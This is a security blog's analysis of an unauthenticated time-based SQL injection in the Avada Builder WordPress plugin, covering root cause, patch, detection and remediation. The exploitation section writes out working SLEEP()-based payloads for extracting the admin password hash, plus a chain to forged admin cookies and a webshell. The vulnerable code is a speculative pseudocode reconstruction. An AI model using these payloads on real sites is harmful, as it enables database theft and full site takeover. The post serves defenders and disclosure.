home intel cve-2026-4798-avada-builder-sqli-product-order
CVE Analysis 2026-05-13 · 7 min read

CVE-2026-4798: Avada Builder Unauthenticated Time-Based SQLi via product_order

Avada Builder ≤3.15.1 passes the `product_order` parameter directly into a WooCommerce fallback query path without escaping or preparation, enabling unauthenticated time-based blind SQL injection.

#sql-injection#wordpress-plugin#unauthenticated-attack#time-based-injection#database-extraction
Technical mode — for security professionals
▶ Attack flow — CVE-2026-4798 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-4798Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-4798 is an unauthenticated time-based blind SQL injection in the Avada Builder WordPress plugin affecting all versions up to and including 3.15.1. The injection point is the product_order parameter, consumed by a legacy WooCommerce product-query shortcode handler. The triggering condition — WooCommerce previously installed then deactivated — creates a code path where the normal WooCommerce sanitization layer is absent but the raw query construction still executes, leaving the parameter unescaped and fed directly into an ORDER BY clause.

Because the injection lives in an ORDER BY clause, error-based and UNION-based techniques are not directly applicable. Attackers instead rely on conditional time delays via SLEEP() to exfiltrate data bit-by-bit, or leverage BENCHMARK() as a fallback. No authentication is required; the vulnerable shortcode is rendered on any page that includes the [products] or equivalent Avada product-listing element.

Root cause: The product_order shortcode attribute is interpolated directly into a raw wpdb::query() call inside Avada's WooCommerce-fallback branch without calling wpdb::prepare() or esc_sql(), because that branch was written to handle the case where WooCommerce class stubs are unavailable — bypassing the sanitization those stubs normally provide.

Affected Component

The vulnerable logic lives inside the Avada Builder shortcode rendering engine, specifically within the class responsible for rendering WooCommerce product grids: FusionSC_Products (file: shortcodes/fusion-products.php). When WooCommerce is active, order arguments are passed to WC_Query which sanitizes them. When WooCommerce is inactive, Avada falls back to constructing a direct $wpdb query using the raw shortcode attribute.

Root Cause Analysis

The following pseudocode reconstructs the vulnerable function based on the plugin's architecture, the vulnerability class, and the described trigger condition.


/*
 * FusionSC_Products::get_products_query()
 * shortcodes/fusion-products.php
 *
 * Called during [fusion_products] shortcode rendering.
 * $atts is the raw shortcode attribute array — attacker-controlled via GET/POST
 * if the page renders the shortcode with dynamic attributes.
 */
WP_Query *FusionSC_Products_get_products_query(array $atts) {

    /* Shortcode attribute, user-supplied, no sanitization here */
    char *product_order = $atts['product_order'];   // e.g. "ASC" or attacker payload

    /*
     * Primary path: WooCommerce active.
     * WC_Query::get_catalog_ordering_args() validates the value
     * against an allowlist before it ever touches SQL.
     */
    if (class_exists("WooCommerce")) {
        args = WC_Query_get_catalog_ordering_args(product_order);
        return new WP_Query(args);   // safe: WC sanitizes orderby/order
    }

    /*
     * Fallback path: WooCommerce was deactivated.
     * No WC sanitization available. Plugin authors intended to replicate
     * WC behavior manually but omitted escaping.
     */

    // BUG: product_order interpolated directly into ORDER BY clause.
    // No call to esc_sql(), $wpdb->prepare(), or allowlist validation.
    char *sql = sprintf(
        "SELECT ID FROM %s WHERE post_type='product' "
        "AND post_status='publish' "
        "ORDER BY post_date %s",   // <-- unsanitized product_order injected here
        $wpdb->posts,
        product_order              // attacker controls this entirely
    );

    /* Raw query execution — no parameterization */
    results = $wpdb->get_results(sql);   // BUG: executes attacker-influenced SQL
    return build_wp_query_from_ids(results);
}

The second argument to sprintf at the ORDER BY position accepts arbitrary SQL. Because ORDER BY clauses cannot use positional placeholders in standard SQL, the correct fix is an allowlist check before the format string, not prepare() alone.

Exploitation Mechanics

The attack surface requires only an HTTP request to any WordPress page that renders the affected shortcode. The product_order parameter can be passed via the shortcode attribute if the theme exposes it through a URL parameter (common with Avada's frontend filter widgets), or injected via a crafted POST body to AJAX handlers that re-render shortcode output.


EXPLOIT CHAIN:

1. Identify a public-facing page rendering [fusion_products] or Avada
   product-grid element (spider for 'fusion-products' class in HTML).

2. Confirm WooCommerce-deactivated condition:
   - Send product_order=ASC  -> page renders normally (baseline timing).
   - Send product_order=DESC -> page renders normally (second baseline).

3. Confirm injection point with time oracle:
   GET /?product_order=ASC,SLEEP(5) HTTP/1.1
   -> Response delayed ~5 seconds: injection confirmed.

4. Extract target data (e.g., admin password hash) using binary search
   over SLEEP() truth values:

   product_order=ASC,(SELECT IF(
       ORD(SUBSTR(user_pass,1,1))>64,
       SLEEP(4),
       0
   ) FROM wp_users WHERE ID=1)

   Measure response delta against baseline. Each bit resolves one
   character boundary; full hash (60 chars bcrypt) requires ~360 requests
   at 1-bit-per-request with binary search optimization.

5. Enumerate schema / extract secrets:
   - wp_users.user_pass  (admin hash)
   - wp_usermeta (session tokens, auth keys)
   - wp_options.auth_key / secure_auth_key (sign arbitrary cookies)

6. With auth keys extracted: forge admin authentication cookie offline,
   authenticate to wp-admin, deploy webshell via plugin/theme editor.
   Full RCE achieved without ever sending credentials.

Step 6 elevates this beyond simple data exfiltration. WordPress secret keys extracted from wp_options allow forging wordpress_logged_in_* cookies, achieving admin access and subsequently remote code execution via the plugin editor — making the effective impact RCE despite the vulnerability being classified as SQLi.

Memory Layout

SQL injection does not involve memory corruption, so a heap diagram is not applicable here. Instead, the relevant "state" is the query string buffer as constructed in the two execution paths:


QUERY BUFFER — SAFE PATH (WooCommerce active):

  $wpdb->prepare() output:
  "SELECT ID FROM wp_posts WHERE post_type=%s AND post_status=%s ORDER BY post_date %s"
                                             ^                  ^                   ^
                                             |                  |                   |
                                    type-checked         type-checked       allowlist-validated
                                    string literal       string literal     by WC_Query

  Final SQL (parameterized, value substituted after escaping):
  "SELECT ID FROM wp_posts WHERE post_type='product' AND post_status='publish' ORDER BY post_date ASC"


QUERY BUFFER — VULNERABLE PATH (WooCommerce deactivated):

  sprintf() output with product_order = "ASC,(SELECT IF(1=1,SLEEP(5),0))":

  "SELECT ID FROM wp_posts WHERE post_type='product' AND post_status='publish'
   ORDER BY post_date ASC,(SELECT IF(1=1,SLEEP(5),0))"
                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                          |
                          Attacker-appended subquery executes unconditionally.
                          MySQL evaluates the subquery, invoking SLEEP(5).

Patch Analysis

The correct remediation is a two-layer fix: allowlist validation before the format string, and migration to $wpdb->prepare() for the static portions. The ORDER BY direction cannot be parameterized via prepare(), making the allowlist mandatory.


// BEFORE (vulnerable, ≤3.15.1):
char *sql = sprintf(
    "SELECT ID FROM %s WHERE post_type='product' "
    "AND post_status='publish' ORDER BY post_date %s",
    $wpdb->posts,
    product_order    // BUG: no validation, direct interpolation
);
results = $wpdb->get_results(sql);


// AFTER (patched):

/* Step 1: allowlist — only valid SQL ORDER directions accepted */
allowed_order_values = ["ASC", "DESC", ""];
if (!in_array(strtoupper(product_order), allowed_order_values)) {
    product_order = "DESC";   // safe default; reject invalid input
}

/* Step 2: prepare() for the static string portions where applicable */
char *sql = $wpdb->prepare(
    "SELECT ID FROM %i WHERE post_type=%s "
    "AND post_status=%s ORDER BY post_date ",
    $wpdb->posts,
    "product",
    "publish"
);

/* Step 3: append allowlisted direction — safe after validation above */
sql = sql . esc_sql(product_order);

results = $wpdb->get_results(sql);

Note the use of %i (identifier placeholder, available in wpdb::prepare() since WordPress 6.2) for the table name. Prior to 6.2, the table name must be hardcoded or validated separately, since %s wraps the value in quotes making it invalid as an identifier.

Detection and Indicators

Time-based blind SQLi leaves minimal traces but the following patterns are actionable:

Web server / access logs: Look for product_order values containing SQL keywords. A regex covering the most common payloads:


DETECTION REGEX (access log / WAF rule):

product_order=(?i).*(SLEEP|BENCHMARK|WAITFOR|pg_sleep|DELAY)\s*\(

Specific indicators in Avada installations:
- Repeated requests (>5) to the same page URL within a short window
  with varying product_order values and response times >3s
- product_order values containing: parentheses, commas, SELECT, IF, OR, AND
- Response time bimodal distribution (baseline ~200ms vs. delayed ~4000ms+)
  across sequential requests — characteristic of binary-search time oracle

Database / slow query log: Enable MySQL slow query log with long_query_time=2. Injected SLEEP() calls will appear as full-table-scan queries on wp_posts with execution time matching the attacker's delay value.

WordPress debug log: With SAVEQUERIES enabled (never on production), the raw SQL including the injected payload will be logged to the query array accessible via $wpdb->queries.

Remediation

Immediate: Update Avada Builder to version 3.15.2 or later (or the earliest version the vendor designates as patched per the NVD advisory). No workaround adequately mitigates this without patching, since the vulnerable code path is triggered by a common server configuration (WooCommerce previously installed).

If patching is delayed: A WAF rule blocking SLEEP, BENCHMARK, and parentheses in the product_order parameter reduces practical exploitability but is not a substitute for the code fix — attackers can use CASE/IF constructs that evade naive keyword filters.

Verify the WooCommerce state: If WooCommerce is permanently deactivated on a site running Avada Builder, consider fully removing the plugin rather than deactivating, to eliminate the fallback code path entirely pending a patch.

Secret key rotation: Any site that may have been targeted should rotate all WordPress secret keys and salts in wp-config.php and force re-authentication of all users — standard response to a confirmed wp_options extraction scenario.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →